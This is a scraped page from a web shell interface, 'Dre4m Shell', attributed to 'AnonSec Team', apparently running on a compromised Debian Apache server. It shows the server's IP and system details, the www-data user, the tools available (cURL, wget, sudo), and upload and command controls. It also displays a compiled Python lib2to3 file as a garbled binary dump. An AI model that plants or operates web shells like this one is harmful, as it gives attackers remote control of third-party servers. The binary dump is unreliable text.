Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 216.73.216.210
Web Server : Apache/2.4.65 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 8.2.29
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/3/cwd/proc/3/cwd/usr/lib/python3.5/lib2to3/fixes/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/3/cwd/proc/3/cwd/usr/lib/python3.5/lib2to3/fixes/__pycache__/fix_renames.cpython-35.pyc


F��a��@sydZddlmZddlmZmZdddiiZiZdd�Zd	d
�Z	Gdd�dej
�Zd
S)z?Fix incompatible renames

Fixes:
  * sys.maxint -> sys.maxsize
�)�
fixer_base)�Name�
attr_chain�sysZmaxint�maxsizecCsddjtt|��dS)N�(�|�))�join�map�repr)Zmembers�r
�//usr/lib/python3.5/lib2to3/fixes/fix_renames.py�
alternatessrccs{xtttj��D]`\}}xQt|j��D]=\}}|t||f<d|||fVd||fVq2WqWdS)Nz�
                  import_from< 'from' module_name=%r 'import'
                      ( attr_name=%r | import_as_name< attr_name=%r 'as' any >) >
                  z^
                  power< module_name=%r trailer< '.' attr_name=%r > any* >
                  )�list�MAPPING�items�LOOKUP)�module�replaceZold_attr�new_attrr
r
r�
build_patterns

rcsLeZdZdZdje��ZdZ�fdd�Zdd�Z	�S)�
FixRenamesTrZprecsXtt|�j��|�}|rTt�fdd�t|d�D��rPdS|SdS)Nc3s|]}�|�VqdS)Nr
)�.0�obj)�matchr
r�	<genexpr>5sz#FixRenames.match.<locals>.<genexpr>�parentF)�superrr�anyr)�self�node�results)�	__class__)rrr1s(zFixRenames.matchcCs`|jd�}|jd�}|r\|r\t|j|jf}|jt|d|j��dS)NZmodule_name�	attr_name�prefix)�getr�valuerrr%)r r!r"Zmod_namer$rr
r
r�	transform>s
zFixRenames.transform)
�__name__�
__module__�__qualname__Z
BM_compatibler
rZPATTERN�orderrr(r
r
)r#rr*s

rN)�__doc__�rZ
fixer_utilrrrrrrZBaseFixrr
r
r
r�<module>s

Anon7 - 2022
AnonSec Team